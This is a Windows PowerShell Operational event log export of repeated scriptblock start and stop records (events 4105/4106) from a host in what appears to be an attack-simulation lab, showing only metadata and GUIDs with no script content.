ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051677
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051676
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051675
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051674
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051673
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051672
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051671
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051670
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051669
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051668
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051667
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051666
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051665
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051664
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051663
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051662
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051661
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051660
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051659
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051658
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051657
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051656
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051655
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051654
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051653
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051652
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051651
Keywords=None
Message=Started invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051650
Keywords=None
Message=Completed invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051649
Keywords=None
Message=Started invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051648
Keywords=None
Message=Completed invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051647
Keywords=None
Message=Started invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051646
Keywords=None
Message=Completed invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051645
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051644
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051643
Keywords=None
Message=Started invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051642
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051641
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051640
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051639
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051638
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051637
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051636
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051635
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051634
Keywords=None
Message=Completed invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051633
Keywords=None
Message=Started invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051632
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051631
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051630
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051629
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051628
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051627
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051626
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051625
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051624
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
